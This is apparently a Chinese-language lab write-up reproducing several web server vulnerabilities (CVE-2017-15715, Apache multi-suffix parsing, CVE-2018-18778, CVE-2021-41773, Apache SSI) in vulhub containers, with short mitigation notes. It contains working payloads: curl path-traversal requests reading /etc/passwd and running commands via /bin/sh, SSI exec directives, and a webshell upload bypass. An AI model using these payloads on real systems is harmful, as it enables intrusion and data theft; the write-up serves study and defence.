Apache HTTPD 换行解析漏洞(CVE-2017-15715)
一 漏洞描述
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
受影响版本
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/httpd/CVE-2017-15715]
└─# docker-compose build
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口
上传1.php文件显示bad file
抓取数据包,发送到repeater模块,点击hex 修改1.php位置
因为上传文件重名,所以更改hex位置在evil.php位置,修改后发送数据包成功
访问浏览器
http://192.168.1.240:8080/evil.php%0a
查看配置文件
root@87302cb9e5ac:/var/www/html# cat /etc/apache2/conf-available/docker-php.conf -n
1 <FilesMatch \.php$>
2 SetHandler application/x-httpd-php
3 </FilesMatch>
4
5 DirectoryIndex disabled
6 DirectoryIndex index.php index.html
7
8 <Directory /var/www/>
9 Options -Indexes
10 AllowOverride All
11 </Directory>
FileMatch的内容是将以.php结尾的文件都进行php解析,而$符号会匹配换行符
四 参考链接
https://blog.csdn.net/hiahiaQ_Q/article/details/123348814
Apache HTTPD 多后缀解析漏洞
一 漏洞描述
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:
AddType text/html .html
AddLanguage zh-CN .cn
其给后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。
以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/httpd/apache_parsing_vulnerability]
└─# docker-compose build
└─# docker-compose up -d
目标 kali 192.168.1.240
三 漏洞复现
访问ip:端口
上传shell.php文件,上传失败
更改数据包,添加jpg后缀发现上传成功
通过蚁剑连接http://192.168.1.240:80/uploadfiles/shell.php.jpg
四 参考链接
https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
mini_httpd任意文件读取漏洞(CVE-2018-18778)
一 漏洞描述
Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE
将会访问到当前目录下的HOST/FILE
文件。
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
见上述代码,分析如下:
- 当HOST=
example.com
、FILE=index.html
的时候,上述语句结果为example.com/index.html
,文件正常读取。 - 当HOST为空、FILE=
etc/passwd
的时候,上述语句结果为/etc/passwd
。
后者被作为绝对路径,于是读取到了/etc/passwd
,造成任意文件读取漏洞。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/mini_httpd/CVE-2018-18778]
└─# docker-compose up -d
目标 kali 192.168.1.240
三 漏洞复现
访问页面进行抓包,修改数据:发送请求是将Host置空,PATH的值是文件绝对路径:
四 防护
请下载最新ACME mini_httpd 1.3版本
Mini_httpd官方网址:http://www.acme.com/software/mini_httpd/
五 参考链接
https://www.seebug.org/vuldb/ssvid-97633
Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)
一 漏洞描述
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
- 穿越的目录允许被访问,比如配置了
<Directory />Require all granted</Directory>
。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
漏洞版本
版本等于2.4.49
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/httpd/CVE-2021-41773]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
环境启动后,访问页面
使用curl命令发送payload( icons 必须存在且可访问):
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
靶机开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令:
curl -v --data "echo;id" 'http://192.168.1.240:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
四 防护
升级到Apache HTTP Server最新安全版本,或使用Apache HTTP Server 非 2.4.49版
五 参考链接
https://www.jianshu.com/p/cbc3bb880ce5
Apache SSI 远程命令执行漏洞
一 漏洞描述
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->
语法执行任意命令。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/httpd/ssi-rce]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
环境启动后,访问页面
在上传文件时,是无法直接上传木马文件,编译后缀为shtml文件
<!--#exec cmd="whoami" -->
<!--#exec cmd="ls" -->
<!--#exec cmd="id" -->
四 防护
1.可以关闭SSI这个功能。
2.过滤特殊字符串(<,>,#,-,",'
)
五 参考链接
https://www.cnblogs.com/huazige/p/15026196.html